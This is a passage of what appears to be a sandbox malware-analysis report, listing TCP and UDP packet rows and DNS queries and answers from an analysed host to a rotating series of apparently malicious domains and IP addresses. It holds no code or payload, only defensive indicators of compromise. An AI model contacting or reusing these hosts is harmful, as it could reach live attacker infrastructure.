Jul 3, 2024 17:41:32.212369919 CEST	49827	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:41:32.212425947 CEST	49827	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:41:32.212455034 CEST	49827	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:41:32.212488890 CEST	80	49827	142.202.6.230	192.168.11.20
Jul 3, 2024 17:41:32.212621927 CEST	80	49827	142.202.6.230	192.168.11.20
Jul 3, 2024 17:41:32.212621927 CEST	49827	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:41:32.212811947 CEST	49827	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:41:32.212903976 CEST	49827	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:41:32.380796909 CEST	80	49827	142.202.6.230	192.168.11.20
Jul 3, 2024 17:41:32.380882978 CEST	80	49827	142.202.6.230	192.168.11.20
Jul 3, 2024 17:41:32.381016016 CEST	80	49827	142.202.6.230	192.168.11.20
Jul 3, 2024 17:41:32.381273985 CEST	80	49827	142.202.6.230	192.168.11.20
Jul 3, 2024 17:41:33.375262976 CEST	80	49827	142.202.6.230	192.168.11.20
Jul 3, 2024 17:41:33.375281096 CEST	80	49827	142.202.6.230	192.168.11.20
Jul 3, 2024 17:41:33.375500917 CEST	49827	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:41:33.377933025 CEST	49827	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:41:34.407365084 CEST	49828	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:41:34.576006889 CEST	80	49828	142.202.6.230	192.168.11.20
Jul 3, 2024 17:41:34.576159954 CEST	49828	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:41:34.589607954 CEST	49828	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:41:34.758238077 CEST	80	49828	142.202.6.230	192.168.11.20
Jul 3, 2024 17:41:35.763567924 CEST	80	49828	142.202.6.230	192.168.11.20
Jul 3, 2024 17:41:35.763588905 CEST	80	49828	142.202.6.230	192.168.11.20
Jul 3, 2024 17:41:35.763932943 CEST	49828	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:41:35.770667076 CEST	49828	80	192.168.11.20	142.202.6.230
Jul 3, 2024 17:41:35.939198971 CEST	80	49828	142.202.6.230	192.168.11.20
Jul 3, 2024 17:41:40.800242901 CEST	49829	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:41:40.937540054 CEST	80	49829	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:40.937755108 CEST	49829	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:41:40.953568935 CEST	49829	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:41:41.085834980 CEST	80	49829	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:41.092703104 CEST	80	49829	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:41.092715025 CEST	80	49829	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:41.092830896 CEST	49829	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:41:42.469700098 CEST	49829	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:41:43.499341011 CEST	49830	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:41:43.630590916 CEST	80	49830	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:43.630714893 CEST	49830	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:41:43.646683931 CEST	49830	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:41:43.777940035 CEST	80	49830	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:43.791742086 CEST	80	49830	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:43.791755915 CEST	80	49830	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:43.791968107 CEST	49830	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:41:45.156630039 CEST	49830	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:41:46.186053991 CEST	49831	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:41:46.318280935 CEST	80	49831	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:46.318449020 CEST	49831	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:41:46.335351944 CEST	49831	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:41:46.335401058 CEST	49831	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:41:46.335453033 CEST	49831	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:41:46.467607975 CEST	80	49831	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:46.467700005 CEST	80	49831	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:46.467709064 CEST	80	49831	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:46.467716932 CEST	80	49831	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:46.467824936 CEST	80	49831	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:46.467833996 CEST	80	49831	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:46.467875957 CEST	49831	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:41:46.467924118 CEST	49831	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:41:46.467945099 CEST	80	49831	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:46.467976093 CEST	49831	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:41:46.468142986 CEST	49831	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:41:46.468313932 CEST	49831	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:41:46.600048065 CEST	80	49831	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:46.600120068 CEST	80	49831	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:46.600270987 CEST	49831	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:41:46.600281954 CEST	80	49831	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:46.600290060 CEST	80	49831	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:46.600321054 CEST	49831	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:41:46.600399971 CEST	80	49831	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:46.600406885 CEST	80	49831	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:46.600519896 CEST	80	49831	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:46.600541115 CEST	49831	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:41:46.600600004 CEST	80	49831	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:46.600608110 CEST	80	49831	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:46.600756884 CEST	80	49831	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:46.732515097 CEST	80	49831	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:46.732526064 CEST	80	49831	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:46.732568979 CEST	80	49831	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:46.732733011 CEST	80	49831	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:46.732748032 CEST	80	49831	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:46.732856035 CEST	80	49831	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:46.732863903 CEST	80	49831	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:46.733108044 CEST	80	49831	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:46.733239889 CEST	80	49831	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:46.738563061 CEST	80	49831	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:46.738576889 CEST	80	49831	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:46.738733053 CEST	49831	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:41:47.843502045 CEST	49831	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:41:48.872922897 CEST	49832	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:41:49.004673958 CEST	80	49832	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:49.004892111 CEST	49832	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:41:49.018291950 CEST	49832	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:41:49.149883986 CEST	80	49832	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:49.156029940 CEST	80	49832	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:49.156810045 CEST	80	49832	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:49.156929970 CEST	49832	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:41:49.163105011 CEST	49832	80	192.168.11.20	74.208.236.230
Jul 3, 2024 17:41:49.294735909 CEST	80	49832	74.208.236.230	192.168.11.20
Jul 3, 2024 17:41:54.187926054 CEST	49833	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:41:54.306802988 CEST	80	49833	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:54.306963921 CEST	49833	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:41:54.322752953 CEST	49833	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:41:54.441469908 CEST	80	49833	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:54.462959051 CEST	80	49833	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:54.462980032 CEST	80	49833	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:54.462997913 CEST	80	49833	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:54.463125944 CEST	49833	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:41:54.468404055 CEST	80	49833	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:54.468528986 CEST	49833	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:41:55.826141119 CEST	49833	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:41:56.855627060 CEST	49834	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:41:56.974123955 CEST	80	49834	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:56.974271059 CEST	49834	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:41:56.990092993 CEST	49834	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:41:57.108665943 CEST	80	49834	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:57.130173922 CEST	80	49834	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:57.130189896 CEST	80	49834	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:57.130202055 CEST	80	49834	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:57.130381107 CEST	49834	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:41:57.137589931 CEST	80	49834	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:57.137881994 CEST	49834	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:41:58.497473955 CEST	49834	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:41:59.526906967 CEST	49835	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:41:59.645411015 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:59.645611048 CEST	49835	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:41:59.662462950 CEST	49835	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:41:59.662508965 CEST	49835	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:41:59.662580967 CEST	49835	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:41:59.781053066 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:59.781064987 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:59.781138897 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:59.781229019 CEST	49835	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:41:59.781235933 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:59.781244993 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:59.781253099 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:59.781297922 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:59.781312943 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:59.781327009 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:59.781335115 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:59.781378031 CEST	49835	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:41:59.781572104 CEST	49835	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:41:59.781743050 CEST	49835	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:41:59.781915903 CEST	49835	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:41:59.899893999 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:59.899986029 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:59.899997950 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:59.900007010 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:59.900074005 CEST	49835	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:41:59.900105953 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:59.900120974 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:59.900137901 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:59.900162935 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:59.900204897 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:59.900235891 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:59.900250912 CEST	49835	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:41:59.900357962 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:59.900367022 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:59.900374889 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:59.900413990 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:59.900413990 CEST	49835	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:41:59.900422096 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:59.900429010 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:59.900443077 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:59.900451899 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:59.900465012 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:59.900481939 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:41:59.900584936 CEST	49835	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:41:59.900755882 CEST	49835	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:42:00.018717051 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:42:00.018835068 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:42:00.018843889 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:42:00.018851995 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:42:00.018954992 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:42:00.018970966 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:42:00.019217968 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:42:00.019233942 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:42:00.019248009 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:42:00.019262075 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:42:00.019309044 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:42:00.019320965 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:42:00.039623022 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:42:00.039634943 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:42:00.039696932 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:42:00.039779902 CEST	49835	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:42:00.039844036 CEST	49835	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:42:00.045649052 CEST	80	49835	199.59.243.226	192.168.11.20
Jul 3, 2024 17:42:00.045778990 CEST	49835	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:42:01.168770075 CEST	49835	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:42:02.198642969 CEST	49836	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:42:02.317162991 CEST	80	49836	199.59.243.226	192.168.11.20
Jul 3, 2024 17:42:02.317353010 CEST	49836	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:42:02.330769062 CEST	49836	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:42:02.449234009 CEST	80	49836	199.59.243.226	192.168.11.20
Jul 3, 2024 17:42:02.473639965 CEST	80	49836	199.59.243.226	192.168.11.20
Jul 3, 2024 17:42:02.473654032 CEST	80	49836	199.59.243.226	192.168.11.20
Jul 3, 2024 17:42:02.473671913 CEST	80	49836	199.59.243.226	192.168.11.20
Jul 3, 2024 17:42:02.473956108 CEST	49836	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:42:02.477688074 CEST	80	49836	199.59.243.226	192.168.11.20
Jul 3, 2024 17:42:02.477899075 CEST	49836	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:42:02.481570005 CEST	49836	80	192.168.11.20	199.59.243.226
Jul 3, 2024 17:42:02.600119114 CEST	80	49836	199.59.243.226	192.168.11.20
Jul 3, 2024 17:42:07.512299061 CEST	49786	80	192.168.11.20	154.53.59.40
Jul 3, 2024 17:42:08.525233984 CEST	49786	80	192.168.11.20	154.53.59.40
Jul 3, 2024 17:42:10.540426970 CEST	49786	80	192.168.11.20	154.53.59.40
Jul 3, 2024 17:42:14.555139065 CEST	49786	80	192.168.11.20	154.53.59.40
Jul 3, 2024 17:42:22.569051981 CEST	49786	80	192.168.11.20	154.53.59.40
Jul 3, 2024 17:42:29.613013029 CEST	49786	80	192.168.11.20	154.53.59.40
Jul 3, 2024 17:42:30.614150047 CEST	49786	80	192.168.11.20	154.53.59.40
Jul 3, 2024 17:42:32.629331112 CEST	49786	80	192.168.11.20	154.53.59.40
Jul 3, 2024 17:42:36.644084930 CEST	49786	80	192.168.11.20	154.53.59.40
Jul 3, 2024 17:42:44.657955885 CEST	49786	80	192.168.11.20	154.53.59.40
Jul 3, 2024 17:42:51.701934099 CEST	49786	80	192.168.11.20	154.53.59.40
Jul 3, 2024 17:42:52.703097105 CEST	49786	80	192.168.11.20	154.53.59.40
Jul 3, 2024 17:42:54.718925953 CEST	49786	80	192.168.11.20	154.53.59.40

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 3, 2024 17:34:50.789199114 CEST	50913	53	192.168.11.20	1.1.1.1
Jul 3, 2024 17:34:50.918788910 CEST	53	50913	1.1.1.1	192.168.11.20
Jul 3, 2024 17:35:16.304828882 CEST	55819	53	192.168.11.20	1.1.1.1
Jul 3, 2024 17:35:16.901663065 CEST	53	55819	1.1.1.1	192.168.11.20
Jul 3, 2024 17:35:31.457973003 CEST	55957	53	192.168.11.20	1.1.1.1
Jul 3, 2024 17:35:31.627306938 CEST	53	55957	1.1.1.1	192.168.11.20
Jul 3, 2024 17:35:45.017513990 CEST	57646	53	192.168.11.20	1.1.1.1
Jul 3, 2024 17:35:45.230792046 CEST	53	57646	1.1.1.1	192.168.11.20
Jul 3, 2024 17:35:58.564575911 CEST	52609	53	192.168.11.20	1.1.1.1
Jul 3, 2024 17:35:58.693449020 CEST	53	52609	1.1.1.1	192.168.11.20
Jul 3, 2024 17:37:31.089766979 CEST	55770	53	192.168.11.20	1.1.1.1
Jul 3, 2024 17:37:31.234551907 CEST	53	55770	1.1.1.1	192.168.11.20
Jul 3, 2024 17:37:44.600956917 CEST	59733	53	192.168.11.20	1.1.1.1
Jul 3, 2024 17:37:44.842118025 CEST	53	59733	1.1.1.1	192.168.11.20
Jul 3, 2024 17:37:58.426227093 CEST	55919	53	192.168.11.20	1.1.1.1
Jul 3, 2024 17:37:58.592010975 CEST	53	55919	1.1.1.1	192.168.11.20
Jul 3, 2024 17:38:13.626250029 CEST	56311	53	192.168.11.20	1.1.1.1
Jul 3, 2024 17:38:13.826337099 CEST	53	56311	1.1.1.1	192.168.11.20
Jul 3, 2024 17:38:27.654037952 CEST	61359	53	192.168.11.20	1.1.1.1
Jul 3, 2024 17:38:27.794514894 CEST	53	61359	1.1.1.1	192.168.11.20
Jul 3, 2024 17:38:41.244800091 CEST	56128	53	192.168.11.20	1.1.1.1
Jul 3, 2024 17:38:41.387883902 CEST	53	56128	1.1.1.1	192.168.11.20
Jul 3, 2024 17:38:55.007463932 CEST	61581	53	192.168.11.20	1.1.1.1
Jul 3, 2024 17:38:55.179863930 CEST	53	61581	1.1.1.1	192.168.11.20
Jul 3, 2024 17:39:08.537116051 CEST	62782	53	192.168.11.20	1.1.1.1
Jul 3, 2024 17:39:08.660125017 CEST	53	62782	1.1.1.1	192.168.11.20
Jul 3, 2024 17:39:16.737005949 CEST	63131	53	192.168.11.20	1.1.1.1
Jul 3, 2024 17:39:16.932450056 CEST	53	63131	1.1.1.1	192.168.11.20
Jul 3, 2024 17:39:31.593187094 CEST	52060	53	192.168.11.20	1.1.1.1
Jul 3, 2024 17:39:31.774889946 CEST	53	52060	1.1.1.1	192.168.11.20
Jul 3, 2024 17:41:04.166651964 CEST	54292	53	192.168.11.20	1.1.1.1
Jul 3, 2024 17:41:04.461167097 CEST	53	54292	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 3, 2024 17:34:50.789199114 CEST	192.168.11.20	1.1.1.1	0x672a	Standard query (0)	www.costmoon.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:35:16.304828882 CEST	192.168.11.20	1.1.1.1	0xd19a	Standard query (0)	www.6171nvuhb.rent	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:35:31.457973003 CEST	192.168.11.20	1.1.1.1	0xe1aa	Standard query (0)	www.motorsportgives.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:35:45.017513990 CEST	192.168.11.20	1.1.1.1	0x3b84	Standard query (0)	www.orthonow.live	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:35:58.564575911 CEST	192.168.11.20	1.1.1.1	0x7410	Standard query (0)	www.adamknoxexperience.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:37:31.089766979 CEST	192.168.11.20	1.1.1.1	0x7ca1	Standard query (0)	www.musiccitysauce.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:37:44.600956917 CEST	192.168.11.20	1.1.1.1	0x6abb	Standard query (0)	www.lakemontbellevue.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:37:58.426227093 CEST	192.168.11.20	1.1.1.1	0x51e2	Standard query (0)	www.vintagewins.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:38:13.626250029 CEST	192.168.11.20	1.1.1.1	0xd925	Standard query (0)	www.spotluv.xyz	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:38:27.654037952 CEST	192.168.11.20	1.1.1.1	0xcd12	Standard query (0)	www.olhadeputat.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:38:41.244800091 CEST	192.168.11.20	1.1.1.1	0x4e91	Standard query (0)	www.voupeclients.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:38:55.007463932 CEST	192.168.11.20	1.1.1.1	0xa9d3	Standard query (0)	www.fundraiserstuffies.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:39:08.537116051 CEST	192.168.11.20	1.1.1.1	0xcbe4	Standard query (0)	www.marktuana.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:39:16.737005949 CEST	192.168.11.20	1.1.1.1	0x92	Standard query (0)	www.paliinfra.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:39:31.593187094 CEST	192.168.11.20	1.1.1.1	0x2184	Standard query (0)	www.t8nia9vkpx.icu	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:41:04.166651964 CEST	192.168.11.20	1.1.1.1	0x9653	Standard query (0)	www.selllaptop.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 3, 2024 17:34:50.918788910 CEST	1.1.1.1	192.168.11.20	0x672a	No error (0)	www.costmoon.com		74.208.236.38	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:35:16.901663065 CEST	1.1.1.1	192.168.11.20	0xd19a	No error (0)	www.6171nvuhb.rent		142.202.6.230	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:35:31.627306938 CEST	1.1.1.1	192.168.11.20	0xe1aa	No error (0)	www.motorsportgives.com		74.208.236.230	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:35:45.230792046 CEST	1.1.1.1	192.168.11.20	0x3b84	No error (0)	www.orthonow.live		199.59.243.226	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:35:58.693449020 CEST	1.1.1.1	192.168.11.20	0x7410	No error (0)	www.adamknoxexperience.com	adamknoxexperience.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 17:35:58.693449020 CEST	1.1.1.1	192.168.11.20	0x7410	No error (0)	adamknoxexperience.com		154.53.59.40	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:37:31.234551907 CEST	1.1.1.1	192.168.11.20	0x7ca1	No error (0)	www.musiccitysauce.com	musiccitysauce.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 17:37:31.234551907 CEST	1.1.1.1	192.168.11.20	0x7ca1	No error (0)	musiccitysauce.com		3.33.130.190	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:37:31.234551907 CEST	1.1.1.1	192.168.11.20	0x7ca1	No error (0)	musiccitysauce.com		15.197.148.33	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:37:44.842118025 CEST	1.1.1.1	192.168.11.20	0x6abb	No error (0)	www.lakemontbellevue.com	lakemontbellevue.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 17:37:44.842118025 CEST	1.1.1.1	192.168.11.20	0x6abb	No error (0)	lakemontbellevue.com		66.235.200.145	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:37:58.592010975 CEST	1.1.1.1	192.168.11.20	0x51e2	No error (0)	www.vintagewins.com	vintagewins.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 17:37:58.592010975 CEST	1.1.1.1	192.168.11.20	0x51e2	No error (0)	vintagewins.com		103.120.176.124	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:38:13.826337099 CEST	1.1.1.1	192.168.11.20	0xd925	No error (0)	www.spotluv.xyz		203.161.50.127	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:38:27.794514894 CEST	1.1.1.1	192.168.11.20	0xcd12	No error (0)	www.olhadeputat.com		172.67.146.224	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:38:27.794514894 CEST	1.1.1.1	192.168.11.20	0xcd12	No error (0)	www.olhadeputat.com		104.21.57.155	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:38:41.387883902 CEST	1.1.1.1	192.168.11.20	0x4e91	No error (0)	www.voupeclients.com	pixie.porkbun.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 17:38:41.387883902 CEST	1.1.1.1	192.168.11.20	0x4e91	No error (0)	pixie.porkbun.com		44.227.65.245	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:38:41.387883902 CEST	1.1.1.1	192.168.11.20	0x4e91	No error (0)	pixie.porkbun.com		44.227.76.166	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:38:55.179863930 CEST	1.1.1.1	192.168.11.20	0xa9d3	No error (0)	www.fundraiserstuffies.com	fundraiserstuffies.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 17:38:55.179863930 CEST	1.1.1.1	192.168.11.20	0xa9d3	No error (0)	fundraiserstuffies.com		3.33.130.190	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:38:55.179863930 CEST	1.1.1.1	192.168.11.20	0xa9d3	No error (0)	fundraiserstuffies.com		15.197.148.33	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:39:08.660125017 CEST	1.1.1.1	192.168.11.20	0xcbe4	Name error (3)	www.marktuana.com	none	none	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:39:16.932450056 CEST	1.1.1.1	192.168.11.20	0x92	No error (0)	www.paliinfra.com	www.paliinfra.com.cdn.hstgr.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 17:39:16.932450056 CEST	1.1.1.1	192.168.11.20	0x92	No error (0)	www.paliinfra.com.cdn.hstgr.net		84.32.84.192	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:39:31.774889946 CEST	1.1.1.1	192.168.11.20	0x2184	No error (0)	www.t8nia9vkpx.icu		47.76.215.53	A (IP address)	IN (0x0001)	false
